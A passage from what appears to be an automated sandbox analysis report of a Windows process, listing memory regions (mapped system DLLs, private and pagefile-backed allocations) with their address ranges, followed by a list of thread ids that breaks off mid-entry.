	     entry_point = 0x7fefb5f0000
	     region_type = mapped_file
	            name = "npmproxy.dll"
	        filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll")

Region:
	              id = 1496
	        start_va = 0x7fefb600000
	          end_va = 0x7fefb60efff
	     entry_point = 0x7fefb600000
	     region_type = mapped_file
	            name = "mspatcha.dll"
	        filename = "\\Windows\\System32\\mspatcha.dll" (normalized: "c:\\windows\\system32\\mspatcha.dll")

Region:
	              id = 1497
	        start_va = 0x7fefb630000
	          end_va = 0x7fefb640fff
	     entry_point = 0x7fefb630000
	     region_type = mapped_file
	            name = "wtsapi32.dll"
	        filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll")

Region:
	              id = 1498
	        start_va = 0x7fefb790000
	          end_va = 0x7fefb7c4fff
	     entry_point = 0x7fefb790000
	     region_type = mapped_file
	            name = "xmllite.dll"
	        filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll")

Region:
	              id = 1499
	        start_va = 0x7fefbbb0000
	          end_va = 0x7fefbc05fff
	     entry_point = 0x7fefbbb0000
	     region_type = mapped_file
	            name = "uxtheme.dll"
	        filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")

Region:
	              id = 1500
	        start_va = 0x7fefbc10000
	          end_va = 0x7fefbc2cfff
	     entry_point = 0x7fefbc10000
	     region_type = mapped_file
	            name = "samlib.dll"
	        filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll")

Region:
	              id = 1501
	        start_va = 0x7fefbc60000
	          end_va = 0x7fefbe53fff
	     entry_point = 0x7fefbc60000
	     region_type = mapped_file
	            name = "comctl32.dll"
	        filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll")

Region:
	              id = 1502
	        start_va = 0x7fefc150000
	          end_va = 0x7fefc158fff
	     entry_point = 0x7fefc150000
	     region_type = mapped_file
	            name = "avrt.dll"
	        filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll")

Region:
	              id = 1503
	        start_va = 0x7fefc160000
	          end_va = 0x7fefc28bfff
	     entry_point = 0x7fefc160000
	     region_type = mapped_file
	            name = "propsys.dll"
	        filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll")

Region:
	              id = 1504
	        start_va = 0x7fefc560000
	          end_va = 0x7fefc56bfff
	     entry_point = 0x7fefc560000
	     region_type = mapped_file
	            name = "version.dll"
	        filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll")

Region:
	              id = 1505
	        start_va = 0x7fefc570000
	          end_va = 0x7fefc62afff
	     entry_point = 0x7fefc570000
	     region_type = mapped_file
	            name = "firewallapi.dll"
	        filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll")

Region:
	              id = 1506
	        start_va = 0x7fefc630000
	          end_va = 0x7fefc636fff
	     entry_point = 0x7fefc630000
	     region_type = mapped_file
	            name = "wshtcpip.dll"
	        filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll")

Region:
	              id = 1507
	        start_va = 0x7fefc720000
	          end_va = 0x7fefc73afff
	     entry_point = 0x7fefc720000
	     region_type = mapped_file
	            name = "gpapi.dll"
	        filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll")

Region:
	              id = 1508
	        start_va = 0x7fefc740000
	          end_va = 0x7fefc75dfff
	     entry_point = 0x7fefc740000
	     region_type = mapped_file
	            name = "userenv.dll"
	        filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll")

Region:
	              id = 1509
	        start_va = 0x7fefc760000
	          end_va = 0x7fefc771fff
	     entry_point = 0x7fefc760000
	     region_type = mapped_file
	            name = "devrtl.dll"
	        filename = "\\Windows\\System32\\devrtl.dll" (normalized: "c:\\windows\\system32\\devrtl.dll")

Region:
	              id = 1510
	        start_va = 0x7fefc780000
	          end_va = 0x7fefc79efff
	     entry_point = 0x7fefc780000
	     region_type = mapped_file
	            name = "spinf.dll"
	        filename = "\\Windows\\System32\\SPInf.dll" (normalized: "c:\\windows\\system32\\spinf.dll")

Region:
	              id = 1511
	        start_va = 0x7fefc850000
	          end_va = 0x7fefc888fff
	     entry_point = 0x7fefc850000
	     region_type = mapped_file
	            name = "ubpm.dll"
	        filename = "\\Windows\\System32\\ubpm.dll" (normalized: "c:\\windows\\system32\\ubpm.dll")

Region:
	              id = 1512
	        start_va = 0x7fefc890000
	          end_va = 0x7fefc899fff
	     entry_point = 0x7fefc890000
	     region_type = mapped_file
	            name = "credssp.dll"
	        filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll")

Region:
	              id = 1513
	        start_va = 0x7fefc8a0000
	          end_va = 0x7fefc8acfff
	     entry_point = 0x7fefc8a0000
	     region_type = mapped_file
	            name = "pcwum.dll"
	        filename = "\\Windows\\System32\\pcwum.dll" (normalized: "c:\\windows\\system32\\pcwum.dll")

Region:
	              id = 1514
	        start_va = 0x7fefc990000
	          end_va = 0x7fefc9d6fff
	     entry_point = 0x7fefc990000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")

Region:
	              id = 1515
	        start_va = 0x7fefca80000
	          end_va = 0x7fefcaaffff
	     entry_point = 0x7fefca80000
	     region_type = mapped_file
	            name = "logoncli.dll"
	        filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll")

Region:
	              id = 1516
	        start_va = 0x7fefcab0000
	          end_va = 0x7fefcb0afff
	     entry_point = 0x7fefcab0000
	     region_type = mapped_file
	            name = "dnsapi.dll"
	        filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll")

Region:
	              id = 1517
	        start_va = 0x7fefcc20000
	          end_va = 0x7fefcc26fff
	     entry_point = 0x7fefcc20000
	     region_type = mapped_file
	            name = "wship6.dll"
	        filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll")

Region:
	              id = 1518
	        start_va = 0x7fefcc30000
	          end_va = 0x7fefcc84fff
	     entry_point = 0x7fefcc30000
	     region_type = mapped_file
	            name = "mswsock.dll"
	        filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll")

Region:
	              id = 1519
	        start_va = 0x7fefcc90000
	          end_va = 0x7fefcca6fff
	     entry_point = 0x7fefcc90000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 1520
	        start_va = 0x7fefcda0000
	          end_va = 0x7fefcdd1fff
	     entry_point = 0x7fefcda0000
	     region_type = mapped_file
	            name = "netjoin.dll"
	        filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll")

Region:
	              id = 1521
	        start_va = 0x7fefcde0000
	          end_va = 0x7fefcde7fff
	     entry_point = 0x7fefcde0000
	     region_type = mapped_file
	            name = "wmsgapi.dll"
	        filename = "\\Windows\\System32\\wmsgapi.dll" (normalized: "c:\\windows\\system32\\wmsgapi.dll")

Region:
	              id = 1522
	        start_va = 0x7fefcdf0000
	          end_va = 0x7fefcdf9fff
	     entry_point = 0x7fefcdf0000
	     region_type = mapped_file
	            name = "sysntfy.dll"
	        filename = "\\Windows\\System32\\sysntfy.dll" (normalized: "c:\\windows\\system32\\sysntfy.dll")

Region:
	              id = 1523
	        start_va = 0x7fefce80000
	          end_va = 0x7fefceaefff
	     entry_point = 0x7fefce80000
	     region_type = mapped_file
	            name = "authz.dll"
	        filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll")

Region:
	              id = 1524
	        start_va = 0x7fefcec0000
	          end_va = 0x7fefcf2cfff
	     entry_point = 0x7fefcec0000
	     region_type = mapped_file
	            name = "wevtapi.dll"
	        filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll")

Region:
	              id = 1525
	        start_va = 0x7fefcf30000
	          end_va = 0x7fefcf43fff
	     entry_point = 0x7fefcf30000
	     region_type = mapped_file
	            name = "cryptdll.dll"
	        filename = "\\Windows\\System32\\cryptdll.dll" (normalized: "c:\\windows\\system32\\cryptdll.dll")

Region:
	              id = 1526
	        start_va = 0x7fefd190000
	          end_va = 0x7fefd1b2fff
	     entry_point = 0x7fefd190000
	     region_type = mapped_file
	            name = "srvcli.dll"
	        filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll")

Region:
	              id = 1527
	        start_va = 0x7fefd230000
	          end_va = 0x7fefd23afff
	     entry_point = 0x7fefd230000
	     region_type = mapped_file
	            name = "secur32.dll"
	        filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll")

Region:
	              id = 1528
	        start_va = 0x7fefd260000
	          end_va = 0x7fefd284fff
	     entry_point = 0x7fefd260000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")

Region:
	              id = 1529
	        start_va = 0x7fefd290000
	          end_va = 0x7fefd29efff
	     entry_point = 0x7fefd290000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 1530
	        start_va = 0x7fefd2a0000
	          end_va = 0x7fefd330fff
	     entry_point = 0x7fefd2a0000
	     region_type = mapped_file
	            name = "sxs.dll"
	        filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll")

Region:
	              id = 1531
	        start_va = 0x7fefd340000
	          end_va = 0x7fefd37cfff
	     entry_point = 0x7fefd340000
	     region_type = mapped_file
	            name = "winsta.dll"
	        filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll")

Region:
	              id = 1532
	        start_va = 0x7fefd380000
	          end_va = 0x7fefd393fff
	     entry_point = 0x7fefd380000
	     region_type = mapped_file
	            name = "rpcrtremote.dll"
	        filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll")

Region:
	              id = 1533
	        start_va = 0x7fefd3a0000
	          end_va = 0x7fefd3aefff
	     entry_point = 0x7fefd3a0000
	     region_type = mapped_file
	            name = "profapi.dll"
	        filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")

Region:
	              id = 1534
	        start_va = 0x7fefd440000
	          end_va = 0x7fefd44efff
	     entry_point = 0x7fefd440000
	     region_type = mapped_file
	            name = "msasn1.dll"
	        filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll")

Region:
	              id = 1535
	        start_va = 0x7fefd450000
	          end_va = 0x7fefd469fff
	     entry_point = 0x7fefd450000
	     region_type = mapped_file
	            name = "devobj.dll"
	        filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll")

Region:
	              id = 1536
	        start_va = 0x7fefd470000
	          end_va = 0x7fefd5d6fff
	     entry_point = 0x7fefd470000
	     region_type = mapped_file
	            name = "crypt32.dll"
	        filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll")

Region:
	              id = 1537
	        start_va = 0x7fefd680000
	          end_va = 0x7fefd6b5fff
	     entry_point = 0x7fefd680000
	     region_type = mapped_file
	            name = "cfgmgr32.dll"
	        filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll")

Region:
	              id = 1538
	        start_va = 0x7fefd6c0000
	          end_va = 0x7fefd72afff
	     entry_point = 0x7fefd6c0000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 1539
	        start_va = 0x7fefd730000
	          end_va = 0x7fefd769fff
	     entry_point = 0x7fefd730000
	     region_type = mapped_file
	            name = "wintrust.dll"
	        filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll")

Region:
	              id = 1540
	        start_va = 0x7fefd8a0000
	          end_va = 0x7fefd976fff
	     entry_point = 0x7fefd8a0000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 1541
	        start_va = 0x7fefd980000
	          end_va = 0x7fefdb82fff
	     entry_point = 0x7fefd980000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 1542
	        start_va = 0x7fefdb90000
	          end_va = 0x7fefdc98fff
	     entry_point = 0x7fefdb90000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 1543
	        start_va = 0x7fefdca0000
	          end_va = 0x7fefdcbefff
	     entry_point = 0x7fefdca0000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 1544
	        start_va = 0x7fefdcc0000
	          end_va = 0x7fefea47fff
	     entry_point = 0x7fefdcc0000
	     region_type = mapped_file
	            name = "shell32.dll"
	        filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll")

Region:
	              id = 1545
	        start_va = 0x7fefead0000
	          end_va = 0x7fefeca6fff
	     entry_point = 0x7fefead0000
	     region_type = mapped_file
	            name = "setupapi.dll"
	        filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll")

Region:
	              id = 1546
	        start_va = 0x7fefecb0000
	          end_va = 0x7fefed20fff
	     entry_point = 0x7fefecb0000
	     region_type = mapped_file
	            name = "shlwapi.dll"
	        filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")

Region:
	              id = 1547
	        start_va = 0x7fefed30000
	          end_va = 0x7fefee5cfff
	     entry_point = 0x7fefed30000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 1548
	        start_va = 0x7fefee60000
	          end_va = 0x7fefee8dfff
	     entry_point = 0x7fefee60000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 1549
	        start_va = 0x7fefee90000
	          end_va = 0x7fefef58fff
	     entry_point = 0x7fefee90000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")

Region:
	              id = 1550
	        start_va = 0x7fefef60000
	          end_va = 0x7fefeffefff
	     entry_point = 0x7fefef60000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 1551
	        start_va = 0x7feff000000
	          end_va = 0x7feff051fff
	     entry_point = 0x7feff000000
	     region_type = mapped_file
	            name = "wldap32.dll"
	        filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll")

Region:
	              id = 1552
	        start_va = 0x7feff440000
	          end_va = 0x7feff447fff
	     entry_point = 0x7feff440000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")

Region:
	              id = 1553
	        start_va = 0x7feff470000
	          end_va = 0x7feff54afff
	     entry_point = 0x7feff470000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 1554
	        start_va = 0x7feff5f0000
	          end_va = 0x7feff5fdfff
	     entry_point = 0x7feff5f0000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")

Region:
	              id = 1555
	        start_va = 0x7feff600000
	          end_va = 0x7feff666fff
	     entry_point = 0x7feff600000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 1556
	        start_va = 0x7feff670000
	          end_va = 0x7feff6bcfff
	     entry_point = 0x7feff670000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")

Region:
	              id = 1557
	        start_va = 0x7feff6c0000
	          end_va = 0x7feff758fff
	     entry_point = 0x7feff6c0000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")

Region:
	              id = 1558
	        start_va = 0x7feff770000
	          end_va = 0x7feff770fff
	     entry_point = 0x7feff770000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 1559
	        start_va = 0x7fffff50000
	          end_va = 0x7fffff51fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff50000"
	        filename = ""

Region:
	              id = 1560
	        start_va = 0x7fffff52000
	          end_va = 0x7fffff53fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff52000"
	        filename = ""

Region:
	              id = 1561
	        start_va = 0x7fffff54000
	          end_va = 0x7fffff55fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff54000"
	        filename = ""

Region:
	              id = 1562
	        start_va = 0x7fffff56000
	          end_va = 0x7fffff57fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff56000"
	        filename = ""

Region:
	              id = 1563
	        start_va = 0x7fffff5c000
	          end_va = 0x7fffff5dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff5c000"
	        filename = ""

Region:
	              id = 1564
	        start_va = 0x7fffff5e000
	          end_va = 0x7fffff5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff5e000"
	        filename = ""

Region:
	              id = 1565
	        start_va = 0x7fffff60000
	          end_va = 0x7fffff61fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff60000"
	        filename = ""

Region:
	              id = 1566
	        start_va = 0x7fffff62000
	          end_va = 0x7fffff63fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff62000"
	        filename = ""

Region:
	              id = 1567
	        start_va = 0x7fffff64000
	          end_va = 0x7fffff65fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff64000"
	        filename = ""

Region:
	              id = 1568
	        start_va = 0x7fffff66000
	          end_va = 0x7fffff67fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff66000"
	        filename = ""

Region:
	              id = 1569
	        start_va = 0x7fffff68000
	          end_va = 0x7fffff69fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff68000"
	        filename = ""

Region:
	              id = 1570
	        start_va = 0x7fffff6a000
	          end_va = 0x7fffff6bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff6a000"
	        filename = ""

Region:
	              id = 1571
	        start_va = 0x7fffff6c000
	          end_va = 0x7fffff6dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff6c000"
	        filename = ""

Region:
	              id = 1572
	        start_va = 0x7fffff6e000
	          end_va = 0x7fffff6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff6e000"
	        filename = ""

Region:
	              id = 1573
	        start_va = 0x7fffff70000
	          end_va = 0x7fffff71fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff70000"
	        filename = ""

Region:
	              id = 1574
	        start_va = 0x7fffff74000
	          end_va = 0x7fffff75fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff74000"
	        filename = ""

Region:
	              id = 1575
	        start_va = 0x7fffff7c000
	          end_va = 0x7fffff7dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff7c000"
	        filename = ""

Region:
	              id = 1576
	        start_va = 0x7fffff7e000
	          end_va = 0x7fffff7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff7e000"
	        filename = ""

Region:
	              id = 1577
	        start_va = 0x7fffff80000
	          end_va = 0x7fffff81fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff80000"
	        filename = ""

Region:
	              id = 1578
	        start_va = 0x7fffff86000
	          end_va = 0x7fffff87fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff86000"
	        filename = ""

Region:
	              id = 1579
	        start_va = 0x7fffff88000
	          end_va = 0x7fffff89fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff88000"
	        filename = ""

Region:
	              id = 1580
	        start_va = 0x7fffff8a000
	          end_va = 0x7fffff8bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff8a000"
	        filename = ""

Region:
	              id = 1581
	        start_va = 0x7fffff8c000
	          end_va = 0x7fffff8dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff8c000"
	        filename = ""

Region:
	              id = 1582
	        start_va = 0x7fffff8e000
	          end_va = 0x7fffff8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff8e000"
	        filename = ""

Region:
	              id = 1583
	        start_va = 0x7fffff90000
	          end_va = 0x7fffff91fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff90000"
	        filename = ""

Region:
	              id = 1584
	        start_va = 0x7fffff92000
	          end_va = 0x7fffff93fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff92000"
	        filename = ""

Region:
	              id = 1585
	        start_va = 0x7fffff94000
	          end_va = 0x7fffff95fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff94000"
	        filename = ""

Region:
	              id = 1586
	        start_va = 0x7fffff96000
	          end_va = 0x7fffff97fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff96000"
	        filename = ""

Region:
	              id = 1587
	        start_va = 0x7fffff98000
	          end_va = 0x7fffff99fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff98000"
	        filename = ""

Region:
	              id = 1588
	        start_va = 0x7fffff9a000
	          end_va = 0x7fffff9bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff9a000"
	        filename = ""

Region:
	              id = 1589
	        start_va = 0x7fffff9c000
	          end_va = 0x7fffff9dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff9c000"
	        filename = ""

Region:
	              id = 1590
	        start_va = 0x7fffffa0000
	          end_va = 0x7fffffa1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa0000"
	        filename = ""

Region:
	              id = 1591
	        start_va = 0x7fffffa2000
	          end_va = 0x7fffffa3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa2000"
	        filename = ""

Region:
	              id = 1592
	        start_va = 0x7fffffa4000
	          end_va = 0x7fffffa5fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa4000"
	        filename = ""

Region:
	              id = 1593
	        start_va = 0x7fffffa6000
	          end_va = 0x7fffffa7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa6000"
	        filename = ""

Region:
	              id = 1594
	        start_va = 0x7fffffa8000
	          end_va = 0x7fffffa9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa8000"
	        filename = ""

Region:
	              id = 1595
	        start_va = 0x7fffffaa000
	          end_va = 0x7fffffabfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffaa000"
	        filename = ""

Region:
	              id = 1596
	        start_va = 0x7fffffac000
	          end_va = 0x7fffffadfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffac000"
	        filename = ""

Region:
	              id = 1597
	        start_va = 0x7fffffae000
	          end_va = 0x7fffffaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffae000"
	        filename = ""

Region:
	              id = 1598
	        start_va = 0x7fffffb0000
	          end_va = 0x7fffffd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000007fffffb0000"
	        filename = ""

Region:
	              id = 1599
	        start_va = 0x7fffffd3000
	          end_va = 0x7fffffd4fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd3000"
	        filename = ""

Region:
	              id = 1600
	        start_va = 0x7fffffd5000
	          end_va = 0x7fffffd6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd5000"
	        filename = ""

Region:
	              id = 1601
	        start_va = 0x7fffffd7000
	          end_va = 0x7fffffd8fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd7000"
	        filename = ""

Region:
	              id = 1602
	        start_va = 0x7fffffd9000
	          end_va = 0x7fffffdafff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd9000"
	        filename = ""

Region:
	              id = 1603
	        start_va = 0x7fffffdb000
	          end_va = 0x7fffffdcfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdb000"
	        filename = ""

Region:
	              id = 1604
	        start_va = 0x7fffffdd000
	          end_va = 0x7fffffdefff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdd000"
	        filename = ""

Region:
	              id = 1605
	        start_va = 0x7fffffdf000
	          end_va = 0x7fffffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdf000"
	        filename = ""

Region:
	              id = 1952
	        start_va = 0x2c90000
	          end_va = 0x2d0ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002c90000"
	        filename = ""

Region:
	              id = 1953
	        start_va = 0x4810000
	          end_va = 0x488ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004810000"
	        filename = ""

Region:
	              id = 1954
	        start_va = 0x162f0000
	          end_va = 0x164effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000162f0000"
	        filename = ""

Region:
	              id = 1955
	        start_va = 0x7fee1dd0000
	          end_va = 0x7fee1fa3fff
	     entry_point = 0x7fee1dd0000
	     region_type = mapped_file
	            name = "msxml3.dll"
	        filename = "\\Windows\\System32\\msxml3.dll" (normalized: "c:\\windows\\system32\\msxml3.dll")

Region:
	              id = 1956
	        start_va = 0x7fffff9e000
	          end_va = 0x7fffff9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff9e000"
	        filename = ""

Region:
	              id = 1957
	        start_va = 0x19a0000
	          end_va = 0x19a0fff
	     entry_point = 0x19a0000
	     region_type = mapped_file
	            name = "msxml3r.dll"
	        filename = "\\Windows\\System32\\msxml3r.dll" (normalized: "c:\\windows\\system32\\msxml3r.dll")

Region:
	              id = 1958
	        start_va = 0x19b0000
	          end_va = 0x19cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000019b0000"
	        filename = ""

Region:
	              id = 1959
	        start_va = 0x38a0000
	          end_va = 0x391ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000038a0000"
	        filename = ""

Region:
	              id = 1960
	        start_va = 0x4050000
	          end_va = 0x40cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004050000"
	        filename = ""

Region:
	              id = 1961
	        start_va = 0x16640000
	          end_va = 0x166bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000016640000"
	        filename = ""

Region:
	              id = 1962
	        start_va = 0x166c0000
	          end_va = 0x16abffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000166c0000"
	        filename = ""

Region:
	              id = 1963
	        start_va = 0x7fef8320000
	          end_va = 0x7fef839bfff
	     entry_point = 0x7fef8320000
	     region_type = mapped_file
	            name = "wer.dll"
	        filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll")


Thread:
	id = 88
	os_tid = 0xa7c


Thread:
	id = 89
	os_tid = 0x970


Thread:
	id = 90
	os_tid = 0x9d0


Thread:
	id = 91
	os_tid = 0x890


Thread:
	id = 92
	os_tid = 0x9b4


Thread:
	id = 93
	os_tid = 0x9a4


Thread:
	id = 94
	os_tid = 0x940


Thread:
	id = 95
	os_tid = 0x2e4


Thread:
	id = 96
	os_tid = 0x82c


Thread:
	id = 97
	os_tid = 0x81c


Thread:
	id = 98
	os_tid = 0x80c


Thread:
	id = 99
	os_tid = 0x2b0


Thread:
	id = 100
	os_tid = 0x438


Thread:
